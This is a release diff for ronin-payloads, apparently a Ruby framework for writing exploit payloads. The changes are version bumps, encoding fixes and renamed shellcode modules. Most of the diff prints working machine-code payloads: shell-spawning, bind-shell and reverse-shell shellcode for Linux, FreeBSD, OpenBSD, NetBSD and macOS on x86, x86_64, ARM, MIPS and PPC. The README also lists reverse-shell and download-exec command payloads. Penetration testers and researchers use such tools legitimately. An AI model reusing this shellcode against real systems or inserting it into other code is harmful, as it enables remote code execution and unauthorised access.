ronin-payloads 0.2.0.rc1 → 0.2.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: ed60fe626277a5add8ea5131745dffac0eab018b16f09fd75054f23c2161394c
-  data.tar.gz: 9202abaacbc4329e12b5bde844cd44f295e9baab499bba7a92727e71df95b83f
+  metadata.gz: 652a98c495b84d3a9c198fb5c9c7a2cde8fe6b2d55439e6a62cb6b8e39c56e35
+  data.tar.gz: 03f33b7a86f0990b27d1e5f72a08222b3da758f20c275a9b78251aec24289ccd
 SHA512:
-  metadata.gz: b4971fbf4288c208a8d3c88b502dba08701558047b6d9f2e896adae5a0ad98d20ad26ea22f89910b6f334ffb0f7fbcbbdcef1a1158f149a63f9c3ed28974816f
-  data.tar.gz: e4d76fb7a3d91d9d32c8bb9ea7ee03006c2f6378677376ad0ad4c239a1a3eec3f764fbeb3a968442cdbe55512afc66a69d16fdd3d0f0930e6c76fd525cc330e1
+  metadata.gz: f24494cee6f75c9d3fc56a5ff006d4c1923420cd7129707ad1eb88e01c2c9ce92a7739cbc4aab0010291a771589b8e90098fc6a9647ab340fe6071c30bfed863
+  data.tar.gz: f455db818586a0c15148ecc318bded23a0295fca56faf56d5f01dfd74798ede1c358bff28f033d77f4b38cb7710f3477b8a4c6d9283d1206a7b76d5e49bafc69

data/.rubocop.yml

@@ -40,3 +40,6 @@ Style/RedundantLineContinuation:
 Layout/LineContinuationSpacing:
   Exclude:
     - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'
+Style/StringConcatenation:
+  Exclude:
+    - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'

data/.ruby-version

@@ -1 +1 @@
-ruby-3.1
+ruby-3.3

data/ChangeLog.md

@@ -1,4 +1,4 @@
-### 0.2.0 / 2024-XX-XX
+### 0.2.0 / 2024-07-22
 
 * Added the {Ronin::Payloads::GroovyPayload} payload class.
 * Added the {Ronin::Payloads::NashornPayload} payload class.
@@ -43,6 +43,13 @@
   `ronin-payloads build` command for the given payload.
 * Renamed the `-e` option flag to `-E` in `ronin-payloads build`.
 
+### 0.1.6 / 2024-07-01
+
+#### Payloads
+
+* Fixed `incompatible character encodings: UTF-8 and ASCII-8BIT` exceptions when
+  building shellcode payloads with certain IP addresses or port numbers.
+
 ### 0.1.5 / 2024-06-19
 
 * Fixed order of arguments passed to `TCPServer.new` in

data/README.md

@@ -126,13 +126,17 @@ $ ronin-payloads list
   cmd/awk/reverse_shell
   cmd/bash/reverse_shell
   cmd/lua/reverse_shell
+  cmd/netcat/bind_shell
   cmd/node/reverse_shell
   cmd/openssl/reverse_shell
   cmd/perl/reverse_shell
   cmd/php/reverse_shell
+  cmd/ping
   cmd/powershell/reverse_shell
   cmd/python/reverse_shell
   cmd/ruby/reverse_shell
+  cmd/sleep
+  cmd/touch
   cmd/windows/download
   cmd/zsh/reverse_shell
   groovy/reverse_shell
@@ -142,31 +146,33 @@ $ ronin-payloads list
   php/cmd_exec
   php/download_exec
   shellcode/freebsd/x86/bind_shell
-  shellcode/freebsd/x86/execve
+  shellcode/freebsd/x86/exec_shell
   shellcode/freebsd/x86/reverse_shell
-  shellcode/freebsd/x86_64/execve
+  shellcode/freebsd/x86_64/exec_shell
   shellcode/linux/arm/bind_shell
-  shellcode/linux/arm/execve
+  shellcode/linux/arm/exec_shell
   shellcode/linux/arm/reverse_shell
   shellcode/linux/mips/bind_shell
-  shellcode/linux/mips/execve
+  shellcode/linux/mips/exec_shell
   shellcode/linux/mips/reverse_shell
-  shellcode/linux/ppc/execve
+  shellcode/linux/ppc/exec_shell
   shellcode/linux/ppc/reverse_shell
   shellcode/linux/x86/bind_shell
-  shellcode/linux/x86/execve
+  shellcode/linux/x86/exec_shell
   shellcode/linux/x86/reverse_shell
   shellcode/linux/x86_64/bind_shell
-  shellcode/linux/x86_64/execve
+  shellcode/linux/x86_64/exec_shell
   shellcode/linux/x86_64/reverse_shell
-  shellcode/macos/x86_64/execve
+  shellcode/macos/x86_64/exec_shell
   shellcode/macos/x86_64/reverse_shell
-  shellcode/netbsd/x86/execve
+  shellcode/netbsd/x86/exec_shell
   shellcode/netbsd/x86/reverse_shell
   shellcode/openbsd/x86/bind_shell
-  shellcode/openbsd/x86/execve
+  shellcode/openbsd/x86/exec_shell
   shellcode/windows/x86_64/cmd
+  test/cmd
   test/open_redirect
+  test/url
   test/xss
 ```
 
@@ -234,6 +240,7 @@ $ git push
 Define a `/bin/sh` shellcode payload:
 
 ```ruby
+# encoding: ASCII-8BIT
 require 'ronin/payloads/shellcode_payload'
 
 module Ronin

data/data/completions/ronin-payloads

@@ -11,7 +11,7 @@ _ronin-payloads_completions_filter() {
 
   if [[ "${cur:0:1}" == "-" ]]; then
     echo "$words"
-  
+
   else
     for word in $words; do
       [[ "${word:0:1}" != "-" ]] && result+=("$word")
@@ -29,99 +29,99 @@ _ronin-payloads_completions() {
 
   case "$compline" in
     'encode'*'--encoder')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur")
       ;;
 
     'build'*'--encoder')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur")
       ;;
 
     'build'*'--output')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'encoder'*'--file')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'launch'*'--file')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'build'*'--file')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'show'*'--file')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'completion'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--print --install --uninstall")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--print --install --uninstall")" -- "$cur")
       ;;
 
     'encoder'*'-f')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
-    'launch'*'-f')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+    'encode'*'-E')
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur")
       ;;
 
-    'encode'*'-E')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
+    'launch'*'-f')
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
-    'build'*'-f')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+    'build'*'-E')
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur")
       ;;
 
     'build'*'-o')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
-    'build'*'-E')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
+    'build'*'-f')
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
     'encoder'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--verbose -v --file -f $(ronin-payloads encoders)")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--verbose -v --file -f $(ronin-payloads encoders)")" -- "$cur")
       ;;
 
     'show'*'-f')
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")
       ;;
 
-    'encode'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--format -F --encoder -E --param -p --string -s")" -- "$cur" )
+    'launch'*)
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--file -f --param -p --debug -D $(ronin-payloads list)")" -- "$cur")
       ;;
 
-    'launch'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --param -p --debug -D $(ronin-payloads list)")" -- "$cur" )
+    'encode'*)
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--format -F --encoder -E --param -p --string -s")" -- "$cur")
       ;;
 
     'build'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --format -F --param -p --output -o --encoder -E --encoder-param --debug -D $(ronin-payloads list)")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--file -f --format -F --param -p --output -o --encoder -E --encoder-param --debug -D $(ronin-payloads list)")" -- "$cur")
       ;;
 
-    'show'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --verbose -v $(ronin-payloads list)")" -- "$cur" )
+    'info'*)
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads list)")" -- "$cur")
       ;;
 
-    'info'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads list)")" -- "$cur" )
+    'show'*)
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--file -f --verbose -v $(ronin-payloads list)")" -- "$cur")
       ;;
 
     'new'*)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--type -t --author -a --author-email -e --summary -S --description -D --reference -R")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--type -t --author -a --author-email -e --summary -S --description -D --reference -R")" -- "$cur")
       ;;
 
     *)
-      while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--version -V help build completion encode encoder encoders irb launch list new show ls info")" -- "$cur" )
+      while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_ronin-payloads_completions_filter "--version -V help build completion encode encoder encoders irb launch list new show ls info")" -- "$cur")
       ;;
 
   esac
 } &&
-complete -F _ronin-payloads_completions ronin-payloads
+  complete -F _ronin-payloads_completions ronin-payloads
 
 # ex: filetype=sh

data/gemspec.yml

@@ -41,7 +41,7 @@ dependencies:
   ronin-support: ~> 1.0
   ronin-code-asm: ~> 1.0
   ronin-post_ex: ~> 0.1
-  ronin-core: ~> 0.2.0.rc1
+  ronin-core: ~> 0.2
   ronin-repos: ~> 0.1
 
 development_dependencies:

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" \
                          "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" \
                          "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" \
-                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
+                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
                          "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
-                         "\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x54\x53\xb0\x3b\x50\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -56,7 +57,7 @@ module Ronin
                          "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
                          "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
                          "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
-                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
                          "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
-                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
+                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -119,7 +120,7 @@ module Ronin
                          "\x08\x00\x8d\xe2" \
                          "\x00\x10\x8d\xe2" \
                          "\x04\x20\x8d\xe2" \
-                         "\x0b\x00\x90\xef".b
+                         "\x0b\x00\x90\xef"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xc2\x51\x03\x37" \
                          "\x01\xdf\x2f\x62" \
                          "\x69\x6e\x2f\x2f" \
-                         "\x73\x68".b
+                         "\x73\x68"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -72,7 +73,7 @@ module Ronin
                          "#{packed_port}" \
                          "#{packed_ipv4}" \
                          \
-                         "/bin/sh\0".b
+                         "/bin/sh\0"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -118,7 +119,7 @@ module Ronin
                          "\xf0\xff\xa5\x23" \
                          "\xab\x0f\x02\x24" \
                          "\x0c\x01\x01\x01" \
-                         "/bin/sh".b
+                         "/bin/sh"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,18 +52,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x28\x06\xff\xff".b + # slti    a2,zero,-1
-                         "\x3c\x0f\x2f\x2f".b + # lui     t7,0x2f2f
-                         "\x35\xef\x62\x69".b + # ori     t7,t7,0x6269
-                         "\xaf\xaf\xff\xf4".b + # sw      t7,-12(sp)
-                         "\x3c\x0e\x6e\x2f".b + # lui     t6,0x6e2f
-                         "\x35\xce\x73\x68".b + # ori     t6,t6,0x7368
-                         "\xaf\xae\xff\xf8".b + # sw      t6,-8(sp)
-                         "\xaf\xa0\xff\xfc".b + # sw      zero,-4(sp)
-                         "\x27\xa4\xff\xf4".b + # addiu   a0,sp,-12
-                         "\x28\x05\xff\xff".b + # slti    a1,zero,-1
-                         "\x24\x02\x0f\xab".b + # li      v0,4011
-                         "\x01\x01\x01\x0c".b   # syscall 0x40404
+              @payload = "\x28\x06\xff\xff" + # slti    a2,zero,-1
+                         "\x3c\x0f\x2f\x2f" + # lui     t7,0x2f2f
+                         "\x35\xef\x62\x69" + # ori     t7,t7,0x6269
+                         "\xaf\xaf\xff\xf4" + # sw      t7,-12(sp)
+                         "\x3c\x0e\x6e\x2f" + # lui     t6,0x6e2f
+                         "\x35\xce\x73\x68" + # ori     t6,t6,0x7368
+                         "\xaf\xae\xff\xf8" + # sw      t6,-8(sp)
+                         "\xaf\xa0\xff\xfc" + # sw      zero,-4(sp)
+                         "\x27\xa4\xff\xf4" + # addiu   a0,sp,-12
+                         "\x28\x05\xff\xff" + # slti    a1,zero,-1
+                         "\x24\x02\x0f\xab" + # li      v0,4011
+                         "\x01\x01\x01\x0c"   # syscall 0x40404
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -100,7 +101,7 @@ module Ronin
                          "\x27\xa4\xff\xf4" \
                          "\x28\x05\xff\xff" \
                          "\x24\x02\x0f\xab" \
-                         "\x01\x01\x01\x0c".b
+                         "\x01\x01\x01\x0c"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,20 +52,20 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x7c\x3f\x0b\x78".b + # mr	r31,r1
-                         "\x7c\xa5\x2a\x79".b + # xor.	r5,r5,r5
-                         "\x42\x40\xff\xf9".b + # bdzl+	10000454< main>
-                         "\x7f\x08\x02\xa6".b + # mflr	r24
-                         "\x3b\x18\x01\x34".b + # addi	r24,r24,308
-                         "\x98\xb8\xfe\xfb".b + # stb	r5,-261(r24)
-                         "\x38\x78\xfe\xf4".b + # addi	r3,r24,-268
-                         "\x90\x61\xff\xf8".b + # stw	r3,-8(r1)
-                         "\x38\x81\xff\xf8".b + # addi	r4,r1,-8
-                         "\x90\xa1\xff\xfc".b + # stw	r5,-4(r1)
-                         "\x3b\xc0\x01\x60".b + # li	r30,352
-                         "\x7f\xc0\x2e\x70".b + # srawi	r0,r30,5
-                         "\x44\xde\xad\xf2".b + # .long	0x44deadf2
-                         "/bin/shZ".b  # the last byte becomes NULL
+              @payload = "\x7c\x3f\x0b\x78" + # mr	r31,r1
+                         "\x7c\xa5\x2a\x79" + # xor.	r5,r5,r5
+                         "\x42\x40\xff\xf9" + # bdzl+	10000454< main>
+                         "\x7f\x08\x02\xa6" + # mflr	r24
+                         "\x3b\x18\x01\x34" + # addi	r24,r24,308
+                         "\x98\xb8\xfe\xfb" + # stb	r5,-261(r24)
+                         "\x38\x78\xfe\xf4" + # addi	r3,r24,-268
+                         "\x90\x61\xff\xf8" + # stw	r3,-8(r1)
+                         "\x38\x81\xff\xf8" + # addi	r4,r1,-8
+                         "\x90\xa1\xff\xfc" + # stw	r5,-4(r1)
+                         "\x3b\xc0\x01\x60" + # li	r30,352
+                         "\x7f\xc0\x2e\x70" + # srawi	r0,r30,5
+                         "\x44\xde\xad\xf2" + # .long	0x44deadf2
+                         "/bin/shZ"  # the last byte becomes NULL
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -125,7 +126,7 @@ module Ronin
                           "\x3b\xc0\x01\x60" \
                           "\x7f\xc0\x2e\x70" \
                           "\x44\xde\xad\xf2" \
-                          "/bin/shZ".b
+                          "/bin/shZ"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -98,7 +99,7 @@ module Ronin
                          "\x68\x2f\x62\x69\x6e" \
                          "\x89\xe3" \
                          "\xb0\x0b" \
-                         "\xcd\x80".b
+                         "\xcd\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -54,7 +55,7 @@ module Ronin
             def build
               @payload = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" \
                          "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" \
-                         "\x80".b
+                         "\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -62,7 +63,7 @@ module Ronin
                          "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
                          "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                          "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
-                         "\x80".b
+                         "\x80"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -59,7 +60,7 @@ module Ronin
                          "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" \
                          "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" \
                          "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" \
-                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
+                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,16 +52,16 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x48\x31\xd2".b +     # xor    %rdx, %rdx
-                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov	$0x68732f6e69622f2f, %rbx
-                         "\x48\xc1\xeb\x08".b + # shr    $0x8, %rbx
-                         "\x53".b +             # push   %rbx
-                         "\x48\x89\xe7".b +     # mov    %rsp, %rdi
-                         "\x50".b +             # push   %rax
-                         "\x57".b +             # push   %rdi
-                         "\x48\x89\xe6".b +     # mov    %rsp, %rsi
-                         "\xb0\x3b".b +         # mov    $0x3b, %al
-                         "\x0f\x05".b           # syscall
+              @payload = "\x48\x31\xd2" +     # xor    %rdx, %rdx
+                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov	$0x68732f6e69622f2f, %rbx
+                         "\x48\xc1\xeb\x08" + # shr    $0x8, %rbx
+                         "\x53" +             # push   %rbx
+                         "\x48\x89\xe7" +     # mov    %rsp, %rdi
+                         "\x50" +             # push   %rax
+                         "\x57" +             # push   %rdi
+                         "\x48\x89\xe6" +     # mov    %rsp, %rsi
+                         "\xb0\x3b" +         # mov    $0x3b, %al
+                         "\x0f\x05"           # syscall
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
                          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
                          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
-                         "\x5f\x6a\x3b\x58\x0f\x05".b
+                         "\x5f\x6a\x3b\x58\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -55,7 +56,7 @@ module Ronin
               @payload = "\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01" \
                          "\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6" \
                          "\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69" \
-                         "\x6e\x2f\x2f\x73\x68".b
+                         "\x6e\x2f\x2f\x73\x68"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83" \
                          "\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48" \
                          "\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed" \
-                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
+                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -74,7 +75,7 @@ module Ronin
                          "\x01\x01\x01\x01" \
                          "\x02\x02\x02\x02" \
                          "\x03\x03\x03\x03" \
-                         "\x9a\x04\x04\x04\x04\x07\x04".b
+                         "\x9a\x04\x04\x04\x04\x07\x04"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d" \
                          "\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51" \
                          "\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f" \
-                         "\x73\x68\x41\x90".b
+                         "\x73\x68\x41\x90"
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,18 +53,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x99".b +                 # cltd
-                         "\x52".b +                 # push	%edx
-                         "\x68\x6e\x2f\x73\x68".b + # push	$0x68732f6e
-                         "\x68\x2f\x2f\x62\x69".b + # push	$0x69622f2f
-                         "\x89\xe3".b +             # mov	%esp,%ebx
-                         "\x52".b +                 # push	%edx
-                         "\x54".b +                 # push	%esp
